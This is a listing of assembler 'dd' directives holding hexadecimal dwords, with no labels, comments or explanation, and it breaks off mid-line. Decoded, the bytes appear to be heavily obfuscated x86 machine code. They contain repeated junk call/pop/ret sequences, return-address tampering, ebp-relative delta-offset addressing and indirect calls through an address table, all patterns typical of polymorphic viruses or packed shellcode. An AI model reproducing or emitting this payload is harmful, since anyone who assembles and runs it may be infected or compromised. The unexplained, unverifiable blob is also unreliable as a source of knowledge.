3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0CA19C351h, 1DE2AA83h, 8B6693F9h dd 2FBF50FEh, 93314AB7h, 1765BD8Bh, 0B5FF05E4h, 5E40D05h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0CAC35242h dd 0C436C7Eh, 95FFC17Bh, 5E410C1h, 0ECDE8166h, 8900B08Ch dd 0E4002DB5h, 6A70E605h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 0E682C353h, 6AD008E3h dd 0E4954A39h, 53006A71h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 0BF66999Bh, 613C58FEh dd 2DC830Fh, 8B660000h, 0D8B60FFAh, 84C78166h, 6BA0Bh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 2D04A8C3h, 0E917730Fh, 8, 0BF1E8898h, 0ED0E1066h dd 31B9B58Bh, 0C38B05E4h, 7A9B58Bh, 0E8C105E4h, 57006A04h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 8E9D6h, 79EA0000h, 9F4505E3h, 0F7669852h, 50006AE2h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 4A42B345h, 0E5B4D440h, 6AD82Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0D98B9AC3h, 6A58FCh dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 15C13BC3h, 9D097501h, 5E41C4Dh, 880FD82Bh, 1EEh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 30C35343h, 504C078h dd 398761D0h, 6BE35CBEh, 7B911h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BD8B53C3h dd 5E42A55h, 9CB96660h, 0EF8153F7h, 29E80D7Dh, 0C183615Ah dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 0C9145695h, 860FD93Bh, 166h, 2605BD8Bh dd 8C6605E4h, 0FFB70FD9h, 0F04C1F6h, 12184h, 10E800h, 0ED8C0000h dd 3E4A2831h, 6D2E3F74h, 0E152FE7Ah, 8952F343h, 0E40F55BDh dd 0FF5E5E05h, 0E4113995h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 2B02ABD2h dd 605B0D8Ch, 30D59589h, 61FC05E4h, 7E9h, 48D63000h, 8EB1E864h dd 57006A5Bh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 0E90CF6DBh, 10h, 0B30DF4D3h, 0E4DCE8Ah dd 216A6840h, 0E45C0F30h, 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0FC06CCC3h, 6CE9C0F3h dd 0B6B9F14h, 0E42A4DB5h, 8343D05h, 860F0000h, 5Ah, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 28C35040h, 0E9D18EEEh dd 66h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh dd 0D9C35242h, 75968FF3h, 82598655h, 0CE9CFh, 89450000h dd 0CA93B992h, 36C690C5h, 0C08B958Bh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 4AC35242h, 65ED1820h, 7E95DC4h dd 63000000h, 0EF649DB6h, 0C38B4C9Ah, 6AD88Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0E0997DC3h, 13E80Bh, 0D1930000h, 0BEA73C94h, 0E339951Eh dd 0E1862D45h, 93A978AFh, 4D8589FAh, 5E05E417h, 1E5D1EBEh dd 0ED85C709h, 3705E40Fh, 0F131B7Bh, 0C08BFBBFh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0A4C35343h, 8BF669FCh dd 0E40109B5h, 0B9BD0105h, 8105E432h, 0E40D05BDh, 7D005h dd 34850F00h, 8B000000h, 0E4118DBDh, 79BD8B05h, 0FF05E41Bh dd 0E40D0585h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 8166C996h, 0FF66FDDFh dd 0E40D05B5h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 2BCFAFCEh, 89E09A5Bh dd 0E4082DBDh, 0C195FF05h, 6A05E410h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 78EFC353h dd 1FB27A69h, 9023E2E8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0DFC35343h, 0E762B7Ch, 86DBD2Bh, 0BE6605E4h dd 6AB5F6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 3B535FC3h, 8F6331D6h, 0EDBD8986h, 8B05E410h dd 0E4280DBDh, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 45C03F46h, 0C185896Ch dd 8905E413h, 0E4040995h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 9A63143h dd 9EBE2763h, 0B58B2EABh, 5E403ADh, 1A35BD89h, 6A05E4h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0BC35E6C3h, 0F7199CA1h, 0C880Fh, 7E90000h, 76000000h dd 62572957h, 8B66E4F9h, 0C7D781F1h, 291A1C20h, 0E41A45BDh dd 0F7B70F05h, 53006AF9h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 0E996CACAh, 0FFFFF77Fh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 2DC35040h dd 0E065C12Bh, 20F5B589h, 0C18B05E4h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0AAC35646h, 0E7BD443Fh, 0B58B0F3Eh dd 5E423F5h, 0EBFEBF0Fh, 4, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0BC177C3h dd 0E42789B5h, 0BD8BFC05h, 5E41FA9h, 19D5858Dh, 6A05E4h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0B975A2C3h, 3D92C5BCh, 50FB8783h, 6A240489h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 3356C350h, 0A9BD8B57h, 6A05E40Ch, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 817BE7F0h dd 0B0B3CFE7h, 6A006A06h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 0B0DEC351h, 0E3CDAA54h dd 0CF8166F9h, 858DE109h, 5E80490h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 35C35545h, 0C08374DCh, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0F8B70F81h, 1979BD01h, 8B5005E4h, 240489F8h, 6850Fh dd 9D890000h, 5E42639h, 2B59B58Bh, 6A05E4h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 5DC35141h, 48C48A61h dd 819EF312h, 2448D1E6h, 6A006A63h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0D96DC350h dd 1C06EC09h, 8D297425h, 5E41D59h, 3998D31h, 95FF05E4h dd 5E421A1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 2BC35545h, 89B93E09h, 0E41F2585h, 7F9D8D05h, 5305E79Eh dd 0B5EF28Bh, 0E40829B5h, 23D3FF05h, 0E40275BDh, 2D85FF05h dd 6A05E414h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 9D7C353h, 0E42A4DB5h, 810E905h dd 0E80000h, 5D000000h, 49AED81h, 0BF0F05E8h, 5BD81F8h dd 0D005E40Dh, 0F000007h, 11D86h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 977D0F37h dd 872E79BFh, 59B58BFCh, 8B05E408h, 0E42D759Dh, 0EE816605h dd 0E381ADE9h, 100h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 0FDC35040h, 626FD3D4h, 10E9h, 0F6B5DE00h dd 732A6376h, 0A962A740h, 853EBDC5h, 0FDB0BE3h, 4185h dd 5958900h, 8305E401h, 0E80294BDh, 840F0005h, 11h, 2579BD03h dd 50E905E4h, 81000000h, 7BA531F7h, 9485C701h, 105E802h dd 60000000h, 1A198D8Bh, 0E96105E4h, 33h, 26359589h, 85C705E4h dd 5E80294h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0F0C35343h dd 95796477h, 8DFCFF3Ah, 0E42D759Dh, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 4262D6CAh dd 0B9BF66E3h, 31858901h, 8105E421h, 0FFFEFF23h, 8C66F5FFh dd 50006ADBh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0F1844AEEh, 959D29FBh, 0F605E41Ch, 840F04C3h dd 0A5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 20C35141h, 0B58BB672h, 5E41BB9h, 113995FFh, 6A05E4h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 1835FAC3h, 720825E8h, 0DBD8BEEh, 5005E428h, 8E860h dd 5FD0000h, 0FE51BFFFh, 820FE17Fh, 0 dd 61C38B59h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 6977C353h, 3316C32Fh dd 6617E597h, 1BCF8166h, 6810FE9h, 89000000h, 0E429E1B5h dd 407E905h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 4C1263C3h, 0B0F2B70Fh, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 63D6ED1Bh, 0AE9h, 390ADD00h, 0E52BE12Ah, 0E6E82363h dd 53006A70h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 10E90Eh, 0C2D70000h, 4AB7CED4h, 0C209B7A3h dd 0D52D9A06h, 9531993Fh, 5E410E9h, 16219D89h, 71E405E4h dd 2C0D9D89h, 0B58B05E4h, 5E41C11h, 60D8B60Fh, 0FE8h, 6EB24300h dd 4F0492A2h, 0A307C978h, 87A2B5A2h, 19F5BD0Bh, 0B5B05E4h dd 0E40F959Dh, 6BA6105h, 66000000h, 0E612EF81h, 0FABEC38Bh dd 0C14C84E5h, 953104E8h, 5E41B21h, 8BE2F766h, 6AD82BF7h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 9858C351h, 93334AA7h, 50F28B66h, 51006A93h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0BD892295h, 5E42AD5h, 1FC1B58Bh, 0B5FF05E4h, 5E40D05h dd 8BC2A7BEh, 0C195FF32h, 6A05E410h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 554BC350h dd 0ECC6163Ch, 6A00B0F5h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0B4F5C356h, 942FA464h dd 8BD90862h, 0E40099BDh, 8B70E605h, 0E4230DB5h, 6A71E405h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 71D1C350h, 289C1ACCh, 0F613C8Fh, 24083h dd 6820F00h, 8B000000h, 0E400F5B5h, 0D8B60F05h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 49C35747h, 6BAh dd 89C38B00h, 0E41A75B5h, 4E8C105h, 6E9F5h, 597E0000h dd 0B616AC8Ah, 8BE2F766h, 0E42CA9BDh, 6AD82B05h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0AC8DC352h, 8BEAC323h, 0E41069B5h, 59858905h, 5805E408h dd 0FBC78166h, 0FD82B07h, 1B488h, 0F3BF0F00h, 7B9h, 0C5BD0300h dd 8305E42Ah, 0D93B00C1h, 19B860Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 0D11621C3h dd 81664D21h, 662639D6h, 6AD98Ch, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 35E808C3h, 207DAE8Eh dd 0F2B70F95h, 2235BD8Bh, 0C1F605E4h, 11840F04h, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 9FBBC352h, 30526748h, 0E86448D6h, 0D9CF8166h dd 3995FF53h, 6A05E411h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 9105C351h, 0B414336Dh dd 0F8680EA5h, 51006A5Bh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 71E2F6D9h, 0EBEA853Fh dd 6AC32BA3h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 0DE28C357h, 8E138B04h, 3275BD33h dd 343D05E4h, 0F000008h, 6386h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 6661E140h dd 91921112h, 66E970DCh, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 8189C352h dd 0E78166B3h, 5E81B30h, 0B8000000h, 0D1C04B6Bh, 21D9B58Bh dd 665E05E4h, 0D08CDF81h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 6AF582C3h, 0AC61272Ch dd 14AE8B7h, 0E42A9D85h, 8BC38B05h, 56006AD8h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0BD8B2C19h dd 5E41B31h, 68D0Fh, 0B5310000h, 5E41999h, 1A3D85C7h, 639905E4h dd 6A388Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 0E4570BC3h, 3165620Bh, 0E41639B5h, 1C08B05h dd 0E42DB195h, 5BD8105h, 0D005E40Dh, 0F000007h, 3785h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 0F58B092h, 85FFF2BFh, 5E40D05h, 6810Fh dd 9D890000h, 5E40879h, 6C5BBE66h, 0D05B5FFh, 95FF05E4h dd 5E410C1h, 3800Fh, 0BF0F0000h, 816690F1h, 8B59E1F6h dd 0E407F9BDh, 0F605205h, 80h, 61616000h, 0A5BD335Eh, 0F805E42Ah dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 49C35343h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F6C35242h dd 33D37869h, 137B5622h, 0EE9h, 41E9EF00h, 5200B06Ah, 0F9891A43h dd 295E1C31h, 0E414FD95h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 7F33FEBDh dd 0A65F28CCh, 860F8D9Fh, 26h, 0FE9h, 33E96100h, 0B62A7C50h dd 0AC77C816h, 4FC51EDh, 0DE9h, 0C6331700h, 0E8B32B27h dd 0FDEB536h, 0B5896C9Ah, 5E41C29h, 45DBD89h, 0B58B05E4h dd 5E40239h, 6AF1BF0Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0B813C352h, 8B0F33A4h dd 12h, 0DE9h, 50381100h, 0A13CCE0Bh, 859AEE1Ch, 816622C7h dd 0E9657CE6h, 0FFFFF7FAh, 5E9h, 46780600h, 66601EBFh dd 0B168D881h, 0FFFFFEB9h, 51006AFFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 34F6D38Dh dd 5B9C1B5Ch, 8D21CBA5h, 5E40895h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 0FFC35747h, 0D17FAE60h, 498D8B60h dd 0F05E414h, 48Eh, 0CABF6600h, 0D081612Eh, 65AAADEFh dd 15258D21h, 6A05E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 9E94DC3h, 0D8000000h, 0C09B2ABBh dd 3A1A7A01h, 8958D8Bh, 6A05E4h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 8B66D8C3h, 1E183F0h dd 20850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 19A4EEC3h, 8D8BC86Fh, 5E41525h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 95C35343h dd 49C8C871h, 0F0DACA66h, 0F01E183h, 2C85h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0B15967D5h, 0BD897A2Dh, 5E400F5h, 0CF4074BAh, 6A606159h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 91D7C352h, 0B9C1C1EFh, 0FFFFFFFEh, 24E9B589h dd 8D2105E4h, 5E41735h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0FBC35646h, 0B58B2C17h, 5E41CB9h, 10E18D21h dd 6A05E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0AE1FBC3h dd 0F7AE2835h, 8D297A13h, 5E42615h, 17358D8Bh, 6A05E4h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 922FB2C3h, 7240B8EFh, 1FC18D89h, 0E18305E4h, 21850F01h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0DB00C355h, 79BB1D4Eh, 10E18D8Bh dd 6A05E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0AE3FF4C3h, 499D899Ch, 5605E410h, 0E18358FCh dd 0A850F01h, 0F000000h, 484h, 97BF6600h, 80606199h, 0BD8B8CE3h dd 5E41F01h, 0FFFFFEB9h, 0C6BF0FFFh, 14D18D21h, 6A05E4h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0D55BECC3h, 8D213ADDh, 5E42D75h, 2B5DBD29h, 8D8B05E4h dd 5E414D1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 5EC35040h, 2E2EAEA1h, 0C085DDAEh, 0C1B5894Bh, 8305E423h dd 850F01E1h, 5, 0FCEE8166h, 758D8B57h, 3305E42Dh, 0E41C4D9Dh dd 62BB6605h, 1E18376h, 6850Fh, 0BB660000h, 0DF8B829Ch dd 6A6061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 6B31EEC3h, 8B964EF2h, 0E4096185h, 0FFFEB905h dd 8166FFFFh, 214D44DAh, 0E40FED8Dh, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 12A15F0h, 0E4111D8Dh dd 2DBD0105h, 2105E422h, 0E41A3D8Dh, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 8B795E35h dd 0E429B9B5h, 0B5BD8B05h, 8B05E41Bh, 0E40FED8Dh, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 1B45F985h, 9B6B68C7h, 6617B223h, 0E183F78Bh, 21850F01h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 441CC352h, 0B8FB7FB8h, 1A3D8D8Bh dd 816605E4h, 832A38F0h, 850F01E1h, 26h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 17h, 2EC35343h, 8BAFB16Bh dd 0E4087595h, 6061FC05h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 87C35747h, 0C02062FCh, 0D8D08166h, 585C7DBh dd 0D005E40Dh, 6A000007h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0F01EC355h, 21C9CA3Fh dd 56006A61h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 880F761Ch, 1Bh, 0EE960h, 5210000h, 0EABD592Bh dd 9D0E8073h, 6C4AC6CCh, 1389BD8Bh, 0F6105E4h, 7EBC0B7h dd 0E99D61h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 46D1C356h, 31773376h dd 6ADF8B66h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0EA89C355h, 3F8A8A07h, 0C18BAFB2h dd 9104BEBh, 0C53C2F0Eh, 0ACDA4B1Ah, 0D2D41CA4h, 0E45C5Ch dd 0F53134CEh, 0B327CE1Bh, 5B34D129h, 0E62AC7DDh, 0DF1BCE17h dd 0A6DB6734h, 467A5500h, 0A3EA1A00h, 0D5h, 0C9199C00h dd 470000FEh, 0FBFEh, 0E6412800h, 727DD427h, 0D5DE9C3h dd 66600000h, 6E9CF8Bh, 9B000000h, 3F5F7721h, 9D8B61A3h dd 5E41B55h, 2995BD83h, 0F0005E4h, 4385h, 858D8B00h, 0F05E42Eh dd 0B8C9BFh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0EBA6C355h, 6830Fh dd 8D290000h, 5E4327Dh, 0C2CB8B66h, 9D8B0004h, 5E42779h dd 0CA8AC08Bh, 12E9h, 88F07100h, 0A81C9B66h, 481C3B41h dd 82257AFAh, 83B26FA3h, 0E416A1BDh, 9750005h, 220DBD83h dd 740005E4h, 8B535013h, 4D0B8C0h, 9D8D0000h, 5E6A6BFh dd 585BD3FFh, 220DBD83h, 740005E4h, 0B8535011h, 4D0h, 0A60C9D8Dh dd 0D3FF05E6h, 0BD8B585Bh, 5E41CB9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 6FC35545h, 0B5C389F4h, 7DB529E5h dd 8B05E422h, 0F559BAC0h, 858D6E36h, 5E81204h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 2DC35646h, 0C6E4244Ch dd 7DD0B112h, 11E9E2h, 8D6A0000h, 8F89988Ah, 0F39058CCh dd 2DC2C694h, 0F5CE6B4Dh, 89EDB550h, 7E92404h, 46000000h dd 9B3AA941h, 858DF2F0h, 5E811C1h, 2799BD89h, 609005E4h dd 50C68B66h, 57B86652h, 0BF310FF0h, 6F661795h, 5061585Ah dd 16820Fh, 0EE80000h, 85000000h, 0B805DC74h, 142CB156h dd 9025C0DFh, 5A99B166h, 0FB8B6690h, 32B595FFh, 6A05E4h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0AC495EC3h, 87828DFh, 299019AFh, 0E4134DB5h, 68C0F05h dd 33000000h, 0E4213195h, 24448B05h, 29858904h, 8905E40Dh dd 0E811EC85h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 14E83592h, 0FC000000h dd 0AF97AD6Ah, 142DB35Eh, 32E1931Eh, 0C5692D66h, 0B97F057Dh dd 546D6B22h, 24448B5Bh, 8589FC08h, 5E81200h, 14E9h, 0E03B3500h dd 0C45D7E9Dh, 15A1A795h, 24BA5261h, 130A2F7Ah, 0E1BD831Fh dd 5E422h, 123850Fh, 0F0B70000h, 2A4985C6h, 6A4705E4h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 5D8CC351h, 0E951D29Ah, 0Bh, 2597738Fh, 605B395Dh dd 5977F22Ah, 0CE860h, 5DF30000h, 470679A7h, 744FB07Fh dd 852B019Eh, 5E4081Dh, 459D335Eh, 6105E415h, 0F2B0D668h dd 13E9C7h, 3C480000h, 0A224E29Bh, 7C620020h, 0AEEDC35Ch dd 61828322h, 243481C1h, 13681704h, 8ADCD381h, 0B5FF45C2h dd 5E426F5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 1DC35242h, 0DE91846Ah, 0FE9B3h, 0CF800000h, 0AF3F7B72h dd 0AED53236h, 20F3DCDAh, 30858D6Bh, 6A05E76Dh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0E9A1C352h, 8, 6FC0C9CBh, 0B615E489h, 6AD0FFh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0DE9EFBC3h, 8965E2A2h, 0E422E185h, 6880F05h, 89000000h dd 0E42E8585h, 91BD8305h, 5E40Ch, 0B1850Fh, 9D8B0000h dd 5E408C9h, 9F0AB966h, 2A4985C6h, 664705E4h, 0A568D98Bh dd 50B33A4Eh, 8E952h, 44F60000h, 341E4F7Ah, 310FCC24h dd 13E8h, 0C083A800h, 0F8307459h, 0B2855732h, 0C6DBB8B0h dd 0C63F9C1Fh, 0EE9h, 618FD400h, 0DE640684h, 409ABBE8h dd 5B018504h, 3481585Ah, 35FB4724h, 95CFBF39h, 0B5FF489Ch dd 5E426F5h, 5E999B2h, 0CA000000h, 25FA454h, 6D30858Dh dd 6A05E7h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 16B62AC3h, 0EDAC77C8h, 66D0FFFCh, 89ED53BBh dd 0E40C9185h, 0C98D8905h, 8305E40Dh, 0E40FF9BDh, 850F0005h dd 0DEh, 72D265B9h, 4985C66Bh, 5605E42Ah, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ch, 4AC35242h dd 5D2F2338h, 8659824Bh, 6820Fh, 0C2810000h, 0FE46FE5h dd 4E8h, 1F6D3900h, 50FB8BD4h, 8E9h, 59041400h, 68393860h dd 24448B7Dh, 4BBB6604h, 89008B25h, 0E9042444h, 0Eh, 6BE22074h dd 472F6DD5h, 5640BC1Eh, 0F8589449h, 26F5B5FFh, 6A05E4h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0BC2424C3h, 0AD8D8B50h, 5A05E414h, 6D30858Dh, 816605E7h dd 0FF1B92D3h, 57006AD0h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 0FCFB635h, 8589DEB7h dd 5E40FF9h, 3E21F781h, 85C64CC5h, 5E42A49h, 9195896Ch dd 0E805E420h, 4, 0DB057083h, 0CEBF6650h, 24448B80h, 0AA99B904h dd 8B5A77h, 448953B6h, 66580424h, 0B966D98Bh, 0B5FF235Eh dd 5E428E5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 9FC35242h, 858965B7h, 5E404B9h, 3994858Dh, 0BB6605E4h dd 0D0FF8CAAh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 7BC35040h, 788E179Dh, 0D08BE9BEh, 11F08589h, 6A05E8h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0B58903C3h, 5E41369h, 0FA5BD8Bh, 46A05E4h, 2D719D8Bh dd 6C6805E4h, 661E74BDh, 813650BFh, 0AD6C2434h, 6A1E74h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0D58E2AC3h, 0BD893E12h, 5E40219h, 0CC760B68h, 240481FAh dd 53489F5h, 89006AF9h, 0E41369B5h, 0F995FF05h, 8A05E412h dd 0FC8589FDh, 6605E811h, 6AF9DE8Bh, 0DBD6B900h, 89606F28h dd 0E414418Dh, 0BCC18005h, 0C25F6861h, 43B97048h, 8155E722h dd 0C25F2434h, 0B5897049h, 5E408FDh, 0CF8B6650h, 53240489h dd 4ED8D01h, 6A5F05E4h, 50006A0Bh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 35A7D9F3h, 11C9858Dh dd 6A05E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 858123C3h, 0BB5191BCh, 7F2BAF91h, 9E85Bh dd 419E0000h, 2EB18851h, 8BF79B8Fh, 0E423918Dh, 0E9905B05h dd 9, 3A747BF1h, 1D92E5B8h, 89905097h, 0E4175DB5h, 0E195FF05h dd 8B05E422h, 0E40005BDh, 0D3B58D05h, 0F05E811h, 8Ah, 50D18B00h dd 0FE85650h, 0B1000000h, 0E4717948h, 87C32E7Dh, 868A5BBBh dd 5A5902C0h, 2434895Fh, 0F892CF81h, 0F903C8Ah, 281h, 50CB8A00h dd 0FF90F58Ah, 0E40C9195h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0AB08940Dh dd 0B0EF5A60h, 6A8DB860h, 0BA66271Ah, 0FF612CB0h, 3EB6BBD0h dd 8DBF3A66h, 8B6850A1h, 0E811FCB5h, 0C7C7B505h, 0E811F485h dd 5, 11950300h, 8005E411h, 0F00207Eh, 35284h, 2860F00h dd 8B000000h, 6017B2CBh, 8F0Fh, 468D0000h, 57006A20h, 3E8h dd 0C35F2000h, 